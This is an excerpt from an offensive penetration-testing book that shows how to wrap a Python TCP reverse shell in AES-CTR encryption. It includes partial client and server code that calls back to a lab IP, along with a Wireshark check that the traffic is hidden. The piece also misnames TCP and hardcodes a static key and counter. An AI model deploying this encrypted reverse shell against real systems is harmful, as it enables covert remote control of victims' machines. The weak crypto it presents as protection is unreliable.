7 min read

TCP (Transfer Communication Protocol) is used to streamline important communications. TCP works with the Internet Protocol (IP), which defines how computers send packets of data to each other. Thus, it becomes highly important to secure this data to avoid MITM (man in the middle attacks). In this article, you will learn how to protect your TCP tunnel using the Advanced Encryption Standard (AES) encryption to protect its traffic in the transit path.

This article is an excerpt taken from ‘Python For Offensive PenTest‘written by Hussam Khrais. 

Protecting your tunnel with AES

In this section, we will protect our TCP tunnel with AES encryption. Now, generally speaking, AES encryption can operate in two modes, the Counter (CTR) mode encryption (also called the Stream Mode) and the Cipher Block Chaining (CBC) mode encryption (also called the Block Mode).

Cipher Block Chaining (CBC) mode encryption

The Block Mode means that we need to send data in the form of chunks:

Block Mode

For instance, if we say that we have a block size of 512 bytes and we want to send 500 bytes, then we need to add 12 bytes additional padding to reach 512 bytes of total size. If we want to send 514 bytes, then the first 512 bytes will be sent in a chunk and the second chunk or the next chunk will have a size of 2 bytes.

However, we cannot just send 2 bytes alone, as we need to add additional padding of 510 bytes to reach 512 in total for the second chunk. Now, on the receiver side, you would need to reverse the steps by removing the padding and decrypting the message.

Counter (CTR) mode encryption

Now, let’s jump to the other mode, which is the Counter (CTR) mode encryption or the Stream Mode:

stream mode

Here, in this mode, the message size does not matter since we are not limited with a block size and we will encrypt in stream mode, just like XOR does. Now, the block mode is considered stronger by design than the stream mode. In this section, we will implement the stream mode and I will leave it to you to search around and do the block mode.

The most well-known library for cryptography in Python is called PyCrypto. For Windows, there is a compiled binary for it, and for the Kali side, you just need to run the setup file after downloading the library. You can download the library from http://www.voidspace.org.uk/python/modules.shtml#pycrypto. So, as a start, we will use AES without TCP or HTTP tunneling:

# Python For Offensive PenTest
# Download Pycrypto for Windows - pycrypto 2.6 for win32 py 2.7
# http://www.voidspace.org.uk/python/modules.shtml#pycrypto

# Download Pycrypto source
# https://pypi.python.org/pypi/pycrypto
# For Kali, after extract the tar file, invoke "python setup.py install"
# AES Stream

import os
from Crypto.Cipher import AES

counter = os.urandom(16) #CTR counter string value with length of 16 bytes.
key = os.urandom(32) #AES keys may be 128 bits (16 bytes), 192 bits (24 bytes) or 256 bits (32 bytes) long.
# Instantiate a crypto object called enc
enc = AES.new(key, AES.MODE_CTR, counter=lambda: counter)
encrypted = enc.encrypt("Hussam"*5)
print encrypted
# And a crypto object for decryption
dec = AES.new(key, AES.MODE_CTR, counter=lambda: counter)
decrypted = dec.decrypt(encrypted)
print decrypted

The code is quite straightforward. We will start by importing the os library, and we will import the AES class from Crypto.Cipher library. Now, we use the os library to create the random key and random counter. The counter length is 16 bytes, and we will go for 32 bytes length for the key size in order to implement AES-256. Next, we create an encryption object by passing the key, the AES mode (which is again the stream or CTR mode) and the counter value.

Now, note that the counter is required to be sent as a callable object. That’s why we used lambda structure or lambda construct, where it’s a sort of anonymous function, like a function that is not bound to a name. The decryption is quite similar to the encryption process. So, we create a decryption object, and then pass the encrypted message and finally, it prints out the decrypted message, which should again be clear text.

So, let’s quickly test this script and encrypt my name. Once we run the script the encrypted version will be printed above and the one below is the decrypted one, which is the clear-text one:

>>>
]ox:|s
Hussam
>>>

So, to test the message size, I will just invoke a space and multiply the size of my name with 5. So, we have 5 times of the length here. The size of the clear-text message does not matter here. No matter what the clear-text message was, with the stream mode, we get no problem at all.

Now, let us integrate our encryption function to our TCP reverse shell. The following is the client side script:

# Python For Offensive PenTest# Download Pycrypto for Windows - pycrypto 2.6 for win32 py 2.7
# http://www.voidspace.org.uk/python/modules.shtml#pycrypto
# Download Pycrypto source
# https://pypi.python.org/pypi/pycrypto
# For Kali, after extract the tar file, invoke "python setup.py install"
# AES - Client - TCP Reverse Shell

import socket 
import subprocess

from Crypto.Cipher import AES

counter = "H"*16
key = "H"*32
def encrypt(message):
encrypto = AES.new(key, AES.MODE_CTR, counter=lambda: counter)
return encrypto.encrypt(message)

def decrypt(message):
decrypto = AES.new(key, AES.MODE_CTR, counter=lambda: counter)
return decrypto.decrypt(message)
def connect():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
s.connect(('10.10.10.100', 8080))

while True: 
command = decrypt(s.recv(1024))
print ' We received: ' + command

...

What I have added was a new function for encryption and decryption for both sides and, as you can see, the key and the counter values are hardcoded on both sides. A side note I need to mention is that we will see in the hybrid encryption later how we can generate a random value from the Kali machine and transfer it securely to our target, but for now, let’s keep it hardcoded here.

The following is the server side script:

# Python For Offensive PenTest
# Download Pycrypto for Windows - pycrypto 2.6 for win32 py 2.7
# http://www.voidspace.org.uk/python/modules.shtml#pycrypto

# Download Pycrypto source
# https://pypi.python.org/pypi/pycrypto
# For Kali, after extract the tar file, invoke "python setup.py install"

# AES - Server- TCP Reverse Shell

import socket 
from Crypto.Cipher import AES

counter = "H"*16
key = "H"*32
def connect():

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
s.bind(("10.10.10.100", 8080)) 
s.listen(1) 
print '[+] Listening for incoming TCP connection on port 8080'
conn, addr = s.accept() 
print '[+] We got a connection from: ', addr

...

This is how it works. Before sending anything, we will pass whatever we want to send to the encryption function first. When we get the shell prompt, our input will be passed first to the encryption function; then it will be sent out of the TCP socket. Now, if we jump to the target side, it’s almost a mirrored image. When we get an encrypted message, we will pass it first to the decryption function, and the decryption will return the clear-text value. Also, before sending anything to the Kali machine, we will encrypt it first, just like we did on the Kali side.

Now, run the script on both sides. Keep Wireshark running in background at the Kali side. Let’s start with the ipconfig. So on the target side, we will able to decipher or decrypt the encrypted message back to clear text successfully.

Now, to verify that we got the encryption in the transit path, on the Wireshark, if we right-click on the particular IP and select Follow TCP Stream in Wireshark, we will see that the message has been encrypted before being sent out to the TCP socket.

To summarize, we learned to safeguard our TCP tunnel during passage of information using the AES encryption algorithm. If you’ve enjoyed reading this tutorial, do check out Python For Offensive PenTest to learn to protect the TCP tunnel using RSA.

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